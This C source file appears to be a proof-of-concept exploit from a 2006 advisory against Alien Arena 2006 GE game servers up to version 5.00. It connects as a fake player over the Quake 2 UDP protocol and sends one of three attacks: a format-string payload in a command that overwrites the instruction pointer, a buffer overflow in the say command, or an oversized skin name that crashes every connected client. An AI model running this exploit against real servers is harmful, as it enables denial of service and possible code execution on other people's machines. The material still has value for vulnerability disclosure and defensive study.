/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <sys/stat.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/param.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define stricmp strcasecmp
#define strnicmp strncasecmp
#define stristr strcasestr
#endif
#define VER "0.1"
#define PORT 27910
#define BUFFSZ 8192
#define MINPROTO 0
#define MAXPROTO 256
#define RELIABLE 0x80000000
#define FUCK "connect %d %hu" \
" %d " \
"\"" \
"\\spectator\\0" \
"\\gender\\male" \
"\\fov\\90" \
"\\rate\\25000" \
"\\msg\\1" \
"\\skin\\%s" \
"\\name\\%s" \
"\\hand\\0" \
"%s" \
"\" " \
"1390\n" // message length (useless for this game)
#define MAX_OSPATH 128 // 110 is enough, more is useless!
#define BOFSZ (2060 - strlen(nick)) // not exact but works
#define FORMATSTR "%01050x" // you will see the EIP 0x30303030
int get_quake2_chall(int sd, u_char *buff, int buffsz);
void get_quake2_infoproto(int onlyinfo, int *retproto);
void delimit(u_char *data);
int quake2_build_pck(u_int seq, u_int ack, u_short qport, u_char *buff, int size, u_char *fmt, ...);
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err);
int create_rand_string(u_char *data, int len, u_int *seed);
int info_proto(u_char *data, int choice);
int timeout(int sock);
u_int resolv(char *host);
void std_err(void);
struct sockaddr_in peer;
int main(int argc, char *argv[]) {
u_int seed;
int sd,
len,
challenge,
proto = 0,
attack;
u_short port = PORT,
qport;
u_char password[128],
buff[BUFFSZ],
nick[16],
*text,
*skin = "male/grunt",
*command = NULL;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Alien Arena 2006 GE <= 5.00 multiple vulnerabilities " VER "\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 3) {
printf("\n"
"Usage: %s <attack> <host> [port(%hu)]\n"
"\n"
"Attack:\n"
" 1 = safe_cprintf server format string\n"
" 2 = Cmd_Say_f server buffer-overflow\n"
" 3 = Com_sprintf crash\n"
" this PoC uses a player with a big skin which automatically crash any\n"
" client in the server and any other new client\n"
"\n", argv[0], port);
exit(1);
}
attack = atoi(argv[1]);
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
seed = time(NULL);
qport = ~seed;
text = buff + 4;
*password = 0;
get_quake2_infoproto(0, &proto);
printf("- use server protocol %d\n", proto);
create_rand_string(nick, sizeof(nick), &seed); // here for buffer-overflow and redo
if(attack == 1) {
fputs("- attack: safe_cprintf server format string (\""FORMATSTR"\")\n", stdout);
command = FORMATSTR;
} else if(attack == 2) {
printf("- attack: Cmd_Say_f server buffer-overflow (%d bytes)\n", BOFSZ);
command = malloc(BOFSZ + 10);
len = sprintf(command, "say ");
memset(command + len, 'A', BOFSZ);
command[len + BOFSZ] = 0;
} else if(attack == 3) {
printf(
"- attack: Com_sprintf crash\n"
" exploitation versus all the clients in the server\n"
" note that some clients could not crash in some cases\n");
skin = malloc(MAX_OSPATH + 1);
if(!skin) std_err();
memset(skin, 'a', MAX_OSPATH);
skin[MAX_OSPATH] = 0;
} else {
printf("\nError: wrong attack number (%d)\n\n", attack);
exit(1);
}
redo:
printf("- start connection:\n");
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
challenge = get_quake2_chall(sd, buff, sizeof(buff));
len = quake2_build_pck(
0xffffffff,
0,
0,
buff,
sizeof(buff),
FUCK,
proto,
++qport,
challenge,
skin,
nick,
password);
len = send_recv(sd, buff, len, buff, sizeof(buff), 1);
if(strnicmp(text, "client_connect", 14)) {
if(stristr(text, "full")) {
printf("- server full\n");
exit(1);
} else if(stristr(text, "password")) {
printf("- server is protected. Insert the password required:\n ");
len = sprintf(password, "\\password\\");
fflush(stdin);
fgets(password + len, sizeof(password) - len, stdin);
delimit(password);
goto redo;
} else if(stristr(text, "refused") || stristr(text, "reject")) {
printf("\n"
"Error: your connection has been refused without reasons:\n"
"\n"
"%s\n"
"\n", text);
exit(1);
} else {
printf(
"- player has not been accepted with the following error:\n"
"\n"
"%s\n"
"\n", text);
exit(1);
}
}
printf(" player \"%s\" connected\n", nick);
if(command) {
len = quake2_build_pck(
1 | RELIABLE,
0,
qport,
buff,
sizeof(buff),
command,
NULL); // the NULL here forces no format
printf(" command: %s\n", buff + 11);
len = send_recv(sd, buff, len, buff, sizeof(buff), 1);
}
close(sd);
printf("- finished\n");
return(0);
}
int get_quake2_chall(int sd, u_char *buff, int buffsz) {
int len,
challenge;
u_char *p,
*text;
text = buff + 4;
len = quake2_build_pck(
0xffffffff,
0,
0,
buff,
buffsz,
"getchallenge\n");
len = send_recv(sd, buff, len, buff, buffsz, 1);
p = strchr(text, ' ');
if(!p) {
printf("\nError: No challenge key in the server's reply:\n%s\n\n", text);
exit(1);
}
sscanf(p + 1, "%d", &challenge);
printf(" challenge: %d\n", challenge);
return(challenge);
}
void get_quake2_infoproto(int onlyinfo, int *retproto) {
int sd,
len,
proto;
u_char buff[BUFFSZ],
*text,
*p;
proto = 35;
text = buff + 4;
printf("- request informations and retrieve server protocol:\n");
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
len = quake2_build_pck(
0xffffffff,
0,
0,
buff,
sizeof(buff),
"status");
len = send_recv(sd, buff, len, buff, sizeof(buff), 1);
if(*buff == '\\') {
printf("- the port you have specified seems a query port so I try to query it:\n");
len = send_recv(sd, "\\status\\", 8, buff, sizeof(buff), 1);
len = info_proto(buff, 0);
if(len > 0) {
printf("- relaunch this tool specifying the port %d\n\n", len);
}
close(sd);
exit(1);
}
proto = info_proto(text, 1);
if(onlyinfo || *retproto) return;
if(proto < 0) {
printf(
"- no server protocol specified in the server's reply.\n"
" I try to retrieve it with a fast scanning\n");
for(proto = MINPROTO; proto < MAXPROTO; proto++) {
printf("- try protocol %d: ", proto);
len = quake2_build_pck(
0xffffffff,
0,
0,
buff,
sizeof(buff),
"info %d",
proto);
len = send_recv(sd, buff, len, buff, sizeof(buff), 0);
if(len < 0) {
printf("- no reply from the server, I try to get protocol from challenge");
len = quake2_build_pck(
0xffffffff,
0,
0,
buff,
sizeof(buff),
"getchallenge\n");
len = send_recv(sd, buff, len, buff, sizeof(buff), 1);
printf(" %s\n", text);
p = strchr(text, '=');
if(p) {
sscanf(p + 1, "%d", &proto);
} else {
printf("- no protocol in the reply from the server\n");
proto = 35;
}
break;
}
if(!stristr(text, "wrong")) break;
printf("%s\n", text);
}
if(proto == MAXPROTO) {
printf("\nError: I have not been able to retrieve the server's protocol\n\n");
exit(1);
}
fputc('\n', stdout);
}
close(sd);
*retproto = proto;
}
void delimit(u_char *data) {
while(*data && (*data != '\n') && (*data != '\r')) data++;
*data = 0;
}
int quake2_build_pck(u_int seq, u_int ack, u_short qport, u_char *buff, int size, u_char *fmt, ...) {
va_list ap;
int len;
u_char *p;
p = buff;
*(u_int *)p = seq;
p += 4;
if(seq != 0xffffffff) {
*(u_int *)p = ack;
p += 4;
*(u_short *)p = qport;
p += 2;
*p++ = 4;
}
len = p - buff;
va_start(ap, fmt); // check to avoid sprintf, is not important if fails or not
if(va_arg(ap, u_char *)) {
va_end(ap);
va_start(ap, fmt);
len += vsnprintf(p, (size - 1) - len, fmt, ap);
} else {
len += snprintf(p, (size - 1) - len, "%s", fmt);
}
va_end(ap);
return(len + 1); // NULL byte too
}
int send_recv(int sd, u_char *in, int insz, u_char *out, int outsz, int err) {
int retry,
len;
for(retry = 3; retry; retry--) {
if(sendto(sd, in, insz, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(!timeout(sd)) break;
}
if(!retry) {
if(!err) return(-1);
fputs("\nError: socket timeout, no reply received\n\n", stdout);
exit(1);
}
outsz--; // NULL bytes handling
len = recvfrom(sd, out, outsz, 0, NULL, NULL);
if(len < 0) std_err();
out[len] = 0;
return(len);
}
int create_rand_string(u_char *data, int len, u_int *seed) {
u_int rnd;
u_char *p;
const static u_char table[] =
"0123456789"
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz";
rnd = *seed;
p = data;
len = rnd % len;
if(len < 8) len = 8;
while(--len) {
rnd = (rnd * 0x343FD) + 0x269EC3;
rnd >>= 3;
*p++ = table[rnd % (sizeof(table) - 1)];
}
*p++ = 0;
*seed = rnd;
return(p - data);
}
int info_proto(u_char *data, int choice) {
int nt = 1,
ret = -1;
u_char *p;
while((p = strchr(data, '\\'))) {
*p = 0;
if(nt & 1) {
if(!ret) {
ret = atoi(data);
if(!ret) ret = -1;
}
printf("%s\n", data);
} else {
if(choice) { // protocol
if(!stricmp(data, "protocol") || !stricmp(data, "proto")) ret = 0;
} else {
if(!stricmp(data, "hostport")) ret = 0;
}
printf("%30s: ", data);
}
data = p + 1;
nt++;
}
printf("%s\n\n", data);
return(ret);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = 1;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_int resolv(char *host) {
struct hostent *hp;
u_int host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_int *)(hp->h_addr);
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
// milw0rm.com [2006-03-07]